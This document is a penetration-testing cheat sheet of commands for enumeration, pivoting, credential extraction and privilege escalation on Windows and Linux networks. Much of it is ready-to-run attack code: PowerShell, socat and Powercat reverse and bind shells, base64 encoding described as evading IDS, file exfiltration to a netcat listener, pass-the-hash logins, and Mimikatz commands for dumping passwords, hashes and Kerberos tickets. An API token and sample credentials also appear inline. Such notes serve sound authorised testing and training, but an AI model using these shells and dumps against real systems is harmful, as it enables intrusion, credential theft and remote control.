Table of Content
1. Web Enumeration
1.1. Feroxbuster
Search for web pages with .js and .htlm extension and the default wordlist will be used:
feroxbuster -u http://127.0.0.1 -x js,html1.2. Wfuzz
Wfuzz will replace the placeholder in the provided URL with the words from the wordlist.
1.3. Whatweb
Identify the technology stack has been used to build the website:
whatweb http://192.168.5.2441.4. WPScan
WPScan WordPress security scanner.
Enumerate WordPress plugins vulnerabilities by providing an API key:
wpscan --enumerate vp --plugins-detection aggressive --url http://atomicl.net/ --api-token hmn5HXmlipsaYHcvAjv1N1t1HEMvW4AOtMSzXUO0FJI--enumerate vpWPScan can enumerate various things from WordPress site, such as themes, usernames, Timthumb files and more. Here we are scanning only vulnerable plugins.--plugins-detectionSpeed of the plugin scan.
2. Network Pivot
2.1. Ligolo-ng
Ligolo-ng establishes tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
2.1.1. Configure Proxy Server and Client
When using on Linux as Proxy Server, we need to create a tun interface:
sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo upThen add the routes to which traffic should be forwarded from the proxy server:
sudo ip route add 192.168.216.0/24 dev ligoloThen we can start the proxy server (default port 11601):
./ligolo-ng_proxy_0.4.4_linux -selfcert-selfcertThe proxy server automatically generates self-signed TLS certificates.
Start the agent on your target (victim) computer (no privileges are required):
.\ligolo_agent.exe -connect 192.168.45.49:11601 -ignore-cert-ignore-certAgent will not check certificate.
Back to proxy server and start session in order to forward traffic to reverse TCP connection:
session <session id> startThen verify that traffic is forwarded through the tunnel created from a reverse TCP/TLS connection:
crackmapexec smb 192.168.216.0/24
2.1.2. Accessing the Proxy Server Network from Proxy Client
Type the following command on Ligolo proxy to create a listener on agent which forward the traffic that received on a particular port to Ligolo proxy server on the specified port:
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444--addr 0.0.0.0:1234Create listener on port 1234 that listen on all interface available on Ligolo agent.--to 127.0.0.1:4444Once received the traffic from Ligolo agent, forward it to specified IP address and port.
Check the previously created listener:
listener_list3. Bind Shell | Reverse Shell | File Transfer
3.1. Powercat
Netcat implementation in PowerShell.
3.1.1. File Transfers
Server:
sudo nc -lnvp 443 > receiving_powercat.ps1Client:
powercat -c 10.10.0.4 -p 443 -i C:\Users\Public\powercat.ps1-iIndicates local file that will be transfer to netcat listener.
3.1.2. Reverse Shells
Server:
sudo nc -lvp 443Client:
powercat -c 10.10.0.4 -p 443 -e cmd.exe3.1.3. Bind Shells
Server:
powercat -l -p 443 -e cmd.exeClient:
nc 10.10.0.22 4433.1.4. Generate Stand-Alone Payloads
Server:
sudo nc -lvp 443This command will create Powershell script that can be used without Powercat (hence the name stand-alone) to send reverse shell to a listener 10.10.0.4 on port 443:
powercat -c 10.10.0.4 -p 443 -e cmd.exe -g > reverseshell.ps1Client:
powercat -c 10.10.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1-eCreate a stand-alone script in base64 format which prevent from detecting by IDS.
3.2. Socat
3.2.1. Chat using Socat
Server side - Redirect STDOUT to client on port 443
sudo socat TCP4-LISTEN:443 STDOUTClient side
socat - TCP4:<remote server's ip address>:803.2.2. File Transfers
Server side:
sudo socat TCP4-LISTEN:443,fork file:secret.txtTCP4-LISTENSpecifies an IPv4 listenerforkCreates a child process once a connection is made by a client to allow multiple connections.fileFile to be transferred.
Client side:
socat TCP4:10.10.0.4:443 file:received_passwords.txt,createcreateCreate a new file.
3.2.3. Reverse shell
Server side:
socat -d -d TCP4-LISTEN:443 STDOUT-d -dIncrease verbosity
Client side:
socat TCP4:10.10.0.22:443 EXEC:/bin/bash3.2.4. Encrypted Bind Shell
Server side Use tls to encrypt bind shell connections by creating a self-signed certificate.
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crtreqInitiate a new certificate signing request-newkeyGenerate a new private keyrsa:2048Use RSA encryption with a 2,048-bit key length.-nodesStore the private key without passphrase protection-keyoutSave the key to a file-x509Output a self-signed certificate instead of a certificate request-daysSet validity period in days-outSave the certificate to a file
Once certificate created convert it to a format socat accepts :
cat bind_shell.key bind_shell.crt > bind_shell.pemCreate a listener :
sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bashverifyDisable SSL verification.forkSpawn a child process once a connection is established.
Client side
socat - OPENSSL:10.11.0.4:443,verify=0-Transfer STDIO to remote hostOPENSSLEstablish a remote SSL connection
3.3. Powershell
Change execution policy of Powershell in order to execute scripts, run the command as administrator in Powershell:
Set-ExecutionPolicy UnrestrictedOR:
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser3.3.1. File Transfers [Download files]
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe','C:\Users\Public\Desktop\wget.exe')"-c: run the command inside double quotes in Powershell.new-object: this cmdlet instantiate .Net Framework or a COM object. The above command will create an instance of the WebClient class.WebClient: This class is used to access resources identified by a URI which is implemented in theSystem.Netnamespace.DownloadFile: Methode defined in WebClient class which download the remote data.
Refer to the Microsoft System.Net reference, to see the list of all of the implemented classes and follow through to the WebClient class to visualize the structure of classes and methods used in the above command.
3.3.2. File Transfer - [Upload a file]
Netcat listen on port 443 and pipe the output to base64 to decode the received data:
nc -nvlp 4446 | base64 --decode > test.zipOn Windows, send the file data in base64 encoded format to Netcat listener:
$encoded_data=[System.Convert]::ToBase64String([io.file]::ReadAllBytes("C:\users\Public\Downloads\test.zip"));
# Or read the entire file to an array of bytes.
# $bytes = [System.IO.File]::ReadAllBytes("C:\users\Public\mess.txt")
$socket = New-Object net.sockets.tcpclient('192.168.45.188',4446);
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$writer.WriteLine($encoded_data);
$writer.flush();
$socket.close();3.3.3. Reverse Shells
Set a listener to receive a reverse shell from Windows machine using Powershell:
sudo nc -lnvp 443Send reverse shell using Powershell to Netcat listener:
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.20',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();An important command that we use to execute received command is iex, which is an alias of cmdlet Invoke-Expression.
Send a reverse shell using Powershell one-liner:
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.20',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}$client.Close();3.3.4. Bind Shells
$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);
$listener.start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close();
$listener.Stop()This time we create new listener variable that uses the System.Net.Sockets.TcpListener class, make listening on all network interface using 0.0.0.0 and on port 443. Then this Powershell code executes received data as command using iex.
3.3.5. Encode to Base64
3.3.5.1. Encode PS Script
$Reverse_shell = @'
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.20',4433);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()}
$client.Close();
'@
$Encoded_everse_shell = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Reverse_shell))To execute base64 encoded command on Powershell use option -E:
powershell.exe -E $Encoded_reverse_shell3.3.5.2. Encode PS One-liner
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.1.218",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText3.3.6. Port Scanning
The Test-NetConnection function checks if an IP responds to ICMP and whether a specified TCP port on the target host is open. Verify if the SMB port 445 is open on 192.168.5.151:
Test-NetConnection -Port 445 192.168.5.151We can also check for open port by initiating TCP connection as Test-NetConnection send additional traffic that is non needed for our purposes:
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.5.151", $_)) "TCP port $_ is open"} 2>$nullWe start by piping the first 1024 integer into a for-loop which assigns the incremental integer value to the $_ variable. Then, we create a Net.Sockets.TcpClient object and perform a TCP connection against the target IP on port specified by $_ variable, and if the connection is successful, it prompts a message that includes the open TCP port.
4. Remote Shell on Windows
4.1. Impacket-wmiexec
Remote into the machine using NTLM hash:
impacket-wmiexec -hashes 00000000000000000000000000000000:7a38430ea6f0027ee955abed1762964b Administrator@192.168.40.2224.2. Impacket-psexec
Remote into the machine using NTLM hash:
impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.221.212Remote into the machine using password:
impacket-psexec tech/vimshi:"Salesroom!"@172.16.189.42tech/vimshiUsername"Salesroom!"Password172.16.189.42Host IP
4.3. Evil-winrm
Remote into the machine using user's credentials who is members of Remote Management Users:
evil-winrm -i 192.168.20.220 -u admin -p "qwertQwertqwert42\!\!"-uUsername-pPassword escaped both "!" character using\character.
4.4. Enter-PSSession
If we have credentials of a user who is members of Remote Management Users then we can use Enter-PSSession PowerShell cmdlet.
4.5. Pywinrm
If we have credentials of a user who is members of Remote Management Users then we can use pywinrm to remote into the machine.
Download the pywinrm package using pip:
sudo pip install pywinrmCreate a script using functions define in pywinrm package:
import winrm
session = winrm.Session('<IPorHost>', auth=('administrator','<password here>'))
# execute "hostname" command on remote machine
result = session.run_ps("hostname")
print(result.std_out)5. Passwords Extraction
5.1. Mimikatz
Extract passwords and hashes from all available sources:
privilege::debug
token::elevate
sekurlsa::logonpasswordsprivilege::debugEnableSeDebugPrivilegeaccess right.token::elevateElevate to SYSTEM user.
Extract NTLM hashes from the SAM database:
privilege::debug
lsadump::samExtract Mscache 1 from registry:
privilege::debug
lsadump::cacheExport all the TGT/TGS from memory and save to disk in kirbi Mimikatz format:
privilege::debug
sekurlsa::tickets /exportRetrieve Kerberos TGT using the user's NTLM hash:
sekurlsa::pth /user:ken /domain:corp.com /ntlm:369def78d8372408bf6e93364cd93075 /run:powershell/ntlmNTLM hash of userken.
NOTE: If we run whoami on the newly created PowerShell window, it will not display ken because the whoami utility only checks the process token and does not inspect imported Kerberos tickets.
Mimikatz one liner:
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::cache" "exit"5.2. Impacket-secretsdump
Extract password hashes from SAM database file:
impacket-secretsdump -sam SAM -system SYSTEM LOCALExtract password hashes from NTDS.dit database file:
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL6. Linux Privilege Escalation
6.1. LinEnum - Linux PrivEsc
Enumerate privilege escalation vectors on Linux system:
./LinEnum.shCheck README file more for information.
6.2. LinPEAS - Linux PrivEsc
Enumerate privilege escalation vectors on Linux system:
sh linpeas.shCheck the documentation for more details.
6.3. unix-privesc-check - Linux PrivEsc
Enumerate privilege escalation vectors on Linux system:
./unix-privesc-checkCheck the documentation for more details.
6.4. Pspy
Pspy allows to monitor linux processes without root permissions.
7. Windows Enumeration
7.1 NET.exe
CLOSED: [2023-11-03 ven. 17:55]
7.1.1. Local user
List all local users:
net userGet information about a user (about groups that user belongs to, full name, etc…):
net user johnjohnA local user account
List users in a group:
net localgroup UsersUsersA local group
7.1.2. Domain user
Get information about a domain user (groups that user belongs to, full name, etc…):
net user stevan /domainstevanA domain user
7.2. PsLoggedon
CLOSED: [2023-11-03 ven. 17:55]
The PsLoggedOn.exe tool is from Sysinternals Suite which enumerate logged-in in users.
This uses Remote Registry service to enumerate registry keys under HKEY_USERS to retrieve the security identifiers (SID) of logged-in users and convert the SIDs to usernames. The Remote Registry service must therefore be running on the target machine for PsLoggedOn to work:
.\PsLoggedon.exe \\files047.3. Windows Privilege Escalation
CLOSED: [2023-11-03 ven. 18:17]
7.3.1. PowerUp
PowerShell script that checks privilege escalation vectors on Windows system.
Download and import the script before using:
Import-Module .\PowerView.ps1Get detailed information about a specified service:
Get-ServiceDetailEnumerate services with unquoted paths:
Get-UnquotedServiceEnumerate services where the current user has write permission on the service binary:
Get-ModifiableServiceFileEnumerate services the current user can modify:
Get-ModifiableServiceEnumerate for DLL Hijacking:
Find-ProcessDLLHijackFor more information check the documentation.
7.3.2. WinPEAS
A tool is that enumerates for privilege escalation vectors:
.\winPEAS.exe8. AD Enumeration
8.1. PowerView
PowerView is a enumeration tool for Windows (Enumerate AD groups, users, logged-in sessions, etc).
Import the PowerView script:
Import-Module .\PowerView.ps1Basic information about the domain:
Get-NetDomainEnumerate all domain users:
Get-NetUser
Get-NetUser | select cn,pwdlastset,lastlogonEnumerate all domain groups:
Get-NetGroup
Get-NetGroup "IT Department" | select memberEnumerates computer objects in the domain:
Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostnameEnumerate computers on which the current user has administrative privileges:
Find-LocalAdminAccessEnumerate all logged-in users on the machine:
Get-NetSession -ComputerName <Pc_name> -verboseEnumerate SPNs:
Get-NetUser -SPN
Get-NetUser -SPN | select samaccountname,serviceprincipalnameEnumerates Access Control Entries(ACE) of an object:
Get-ObjectAcl -Identity stephanie
Get-ObjectAcl -Identity "IT Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRightsActiveDirectoryRights : ReadProperty SecurityIdentifier : S-1-5-21-1923370270-658905905-1781884369-553
So the S-1-5-21-1923370270-658905905-1781884369-553 (RAS and IAS Servers) group has ReadProperty access rights on user stevan and this is a common configuration in AD and won't give us an attack vector.
Enumerate shares in the domain:
Find-DomainShare
Find-DomainShare -CheckShareAccess8.2. SharpHound
SharpHound is a data collector for BloodHound. It is written in C# and uses native Windows API functions and LDAP namespace functions (like NetWkstaUserEnum and NetSessionEnum) to collect data from domain controllers and domain-joined Windows systems:
Import-Module .\Sharphound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stevan\Desktop\ -OutputPrefix "testdomain"-OutputPrefixAddstestdomainprefix to the name of the output file.
8.3. BloodHound
BloodHound is used to analyze data collected by SharpHound.
List all users:
match (u:User) return u.samaccountnameGet groups with members:
MATCH (u:User)-[:MemberOf]->(g:Group) return g.samaccountname,u.samaccountname order by g.samaccountnameGet user with SPN:
MATCH (u:User)WHERE u.hasspn=true return u.samaccountname, u.serviceprincipalnames, u.descriptionFind user that doesn’t require kerberos pre-authentication (aka AS-REP Roasting):
MATCH (u:User {dontreqpreauth: true}) RETURN u9. Active Information Gathering
9.1. DNS Enumeration
9.1.1. Host
Find the IP address of www.atomicl.net:
host www.atomicl.netBy default, the host command looks for an A record, but we can also query other fields, such as MX or TXT records:
host -t mx atomicl.netSearch for name server:
host -t ns atomicl.net9.1.2. DNSRecon
DNSRecon is an advanced DNS enumeration script written in Python:
dnsrecon -d atomicl.net -t std-doption to specify a domain name.-tType of enumeration to perform, in this case, a standard scan
DNSRecon is also capable of brute forcing subdomain using a provided word list:
dnsrecon -d atomicl.net -D ~/wordlist.txt -t brt-t brtStands for brute force
9.1.3. DNSEnum
DNSEnum is another popular DNS enumeration tool that can be used to further automate DNS enumeration:
dnsenum atomicl.net9.2. Port Scanning
9.2.1. Netcat
Netcat is not a port scanning tool but it can be used to do some basic port scanning.
9.2.1.1. TCP port scanning - Make three-way handshake to detect open port
nc -nvv -w 1 -z 192.168.5.151 3388-3390-w: Connection timeout in seconds.-z: Zero-I/O mode, which means send no data.3388-3390Port ranger
9.2.1.2. UDP port scanning - Send an empty UDP packet
nc -nv -u -z -w 1 10.11.1.115 160-162-u: Send UDP packet.
If UDP port is open, the packet will received by the application layer and a response will receive or not depend on how the application is programmed to respond to empty packets.
If the destination UDP port is closed, the target should respond with an ICMP port unreachable message that is sent by the UDP/IP stack of the target machine. Note: No response not necessarily mean that the port is open, it could be filtered by a firewall.
9.2.2. Nmap
sudo nmap -sS 10.10.1.222-sS: Sending SYN packets without completing a three-way handshake or this will not send ACK packet after receiving SYN-ACK packet from an open port. Default behavior when running nmap with sudo privilege.
-sT: Complete three-way handshake, default scanning technique when running nmap without sudo privilege.
-sU: Perform UDP port scan using ICMP port unreachable method and for common UDP ports it uses protocol-specific packet. E.g for port 161 it send SNMP packet.
Host discovery on the specified IP range:
nmap -sn 10.10.1.1-254Host discovery and save the output to grepable format:
nmap -v -sn 10.10.1.1-254 -oG ping-sweep.txtScan top 20 commonly used ports:
nmap -sT -A --top-ports=20 10.10.1.1-254 -oG top-port-sweep.txtCommonly used ports are defined in the /usr/share/nmap/nmap-services file.
OS Fingerprinting:
sudo nmap -O 10.10.1.220Banner Grabbing/Service Enumeration
nmap -sV -sT -A 10.10.1.220-sVGrab service banners-AUse OS and service enumeration scripts
Nmap Scripting Engine (NSE) which performs DNS enumeration, brute force attacks, vulnerability identification, etc. NSE scripts are located in the /usr/share/nmap/scripts directory.
nmap 10.10.1.220 --script=smb-os-discoverysmb-os-discoveryscript attempts to connect to the SMB service on a target system and determine its operating system.
Get info about a script:
nmap --script-help dns-zone-transfer9.3. SMB Enumeration
9.3.1. NetBIOS
NetBIOS is a service that allows applications and computers to communicate over a local area network (LAN). NetBIOS provides three distinct services:
- Name Service (NetBIOS-NS) for name registration and resolution. Port UDP 137.
- Datagram Distribution Service (NetBIOS-DGM) for connectionless communication. Port UDP 138.
- Session Service (NetBIOS-SSN) for connection-oriented communication on top of which SMB runs. Port TCP 139.
While modern implementations of SMB can work without NetBIOS, NetBIOS over TCP (NBT) is required for backward compatibility and is often enabled together.
For this reason, enumeration of NetBIOS and SMB services is needed:
nmap -v -p 139,445 -oG smb.txt 10.10.1.1-254There are also more specialized tools for identifying NetBIOS information:
sudo nbtscan -r 10.10.1.0/24-r: Use local port 137 for scans which is used to query the NetBIOS name service for valid NetBIOS names.
9.3.2. SMB Enumeration with Nmap
Nmap contains many useful scripts in the /usr/share/nmap/scripts/smb directory that can be used to enumerate SMB services.
E.g Attempts to determine the operating system, computer name, domain, workgroup, and current time over the SMB protocol (ports 445 or 139) using smb-os-discovery script:
nmap -v -p 139, 445 --script=smb-os-discovery 10.10.1.227-v: Increase the verbosity level.
9.3.3. SMB Enumeration with enum4linux
The enum4linux enumerates SMB shares, password policy, OS information, users, group membership, Nbtstat info and determine if host is in workgroup or domain:
enum4linux 192.168.207.139.3.4. SMB Enumeration with net view
In Windows system we can use net view to list domains, resources, and computers belonging to a given host. As an example, we can list all the shares running on dc01:
net view \\dc01 /all/alllists all administrative shares which are ending with the dollar sign.- We can also replace host name
dc01with IP address of the system.
9.3.5. Smbclient - From Linux
Authenticate to the SMB server using NLTM hash:
smbclient \\\\192.168.189.248\\transfer -U john --pw-nt-hash 54abdf854v8cz653b1be3458454e5a4d9.3.6. SMBMap - From Linux
Enumerate SMB shares using NTLM hash of a user:
smbmap -u username -p '54abev854d8c065vb1be3458454e4a3d' -H 192.168.189.2489.4. SMTP Enumeration
SMTP enumeration using SMTP commands, VRFY and EXPN. VRFY allow to verify the existence of a email address and VRFY asks server for the membership of a mailing list.
Verify an email address by connecting to the SMTP server on port 25 using Netcat:
nc -nv 10.10.1.217 25(UNKNOWN) [10.10.1.217] 25 (smtp) open 220 it.localdomain ESMTP Postfix VRFY root 252 2.0.0 root VRFY idontexist 550 5.1.1 <idontexist>: Recipient address rejected: User unknown in local recipient table ^C
Automate the above verification process by using a Python script:
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 2:
print "Usage: vrfy.py <username>"
sys.exit(0)
# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
connect = s.connect(('10.10.1.217',25))
# Receive the banner
banner = s.recv(1024)
print banner
# VRFY a user
s.send('VRFY ' + sys.argv[1] + '\r\n')
result = s.recv(1024)
print result
# Close the socket
s.close()9.5. SNMP Enumeration
9.5.1. Nmap
Scan SNMP port UDP 161 using Nmap:
sudo nmap -sU --open -p 161 10.10.1.1-254 -oG open-snmp.txt9.5.2. onesixtyone
Use onesixtyone, a SNMP scanner which discover devices responding to well-known community names or to mount a dictionary attack against one or more SNMP devices.
To brute force a list of community names, lets build a word list of community names:
echo public > community.txt
echo private >> community.txt
echo manager >> community.txtThen perform brute force using onesixtyone:
onesixtyone -c community.txt -i ips.txt 10 10.10.1.149.5.3. snmpwalk
Enumerating the entire MIB tree of Windows system that exposes SNMP port:
snmpwalk -c public -v1 -t 10 10.10.1.14-c: specifies the community string.-v: specifies the SNMP version number.-t: increases the timeout period to 10 seconds.
Enumerating Windows users:
snmpwalk -c public -v1 10.10.1.14 1.3.6.1.4.1.77.1.2.25Enumerating running Windows processes
snmpwalk -c public -v1 10.10.1.73 1.3.6.1.2.1.25.4.2.1.2Enumerating open TCP Ports
snmpwalk -c public -v1 10.10.1.14 1.3.6.1.2.1.6.13.1.3Enumerating installed software
snmpwalk -c public -v1 10.10.1.50 1.3.6.1.2.1.25.6.3.1.2Enumerate all MIBs:
snmpbulkwalk -c public -v2c 10.10.1.50 .-cCommunity string.-v2cSNMP version.
Query the extension MIB (NET-SNMP-EXTEND-MIB) which is used to run arbitrary shell scripts and the result will be send SNMP client:
snmpbulkwalk -c public -v2c 192.168.213.156 NET-SNMP-EXTEND-MIB::nsExtendOutputFull9.5.4. References
9.6. NFS Enumeration
Portmapper or RPCbind which run on TCP port 111 maps RPC services to the ports on which they listen.
RPC processes notify rpcbind when they start, registering the ports they are listening on and the RPC program numbers they expect to serve.
The client system then contacts rpcbind on the server with a particular RPC program number. The rpcbind service redirects the client to the proper port number (often TCP port 2049 for NFS) so it can communicate with the requested service.
Scan the ports with Nmap:
nmap -v -p 111 10.10.1.1-254Nmap script rpcinfo to find services mapped to rpcbind:
nmap -sV -p 111 --script=rpcinfo 10.10.1.1-254Once found a NFS share (default on TCP 2049), use Nmap script nfs-ls, nfs-showmount and nfs-statfs:
nmap -p 111 --script nfs* 10.10.1.7210. Miscellaneous
10.1. Pdftotext
Convert PDF files to plain text file
10.2. AWK
Extract content delimited by multiple spaces:
awk -F ' +' '{print $1}'11. Footnotes
Mscache is also referenced as Domain Cached Credentials or DCC2 or DCC. The purpose of mscache is for users to still be able to login to their Windows box in the case it cannot reach the domain controller: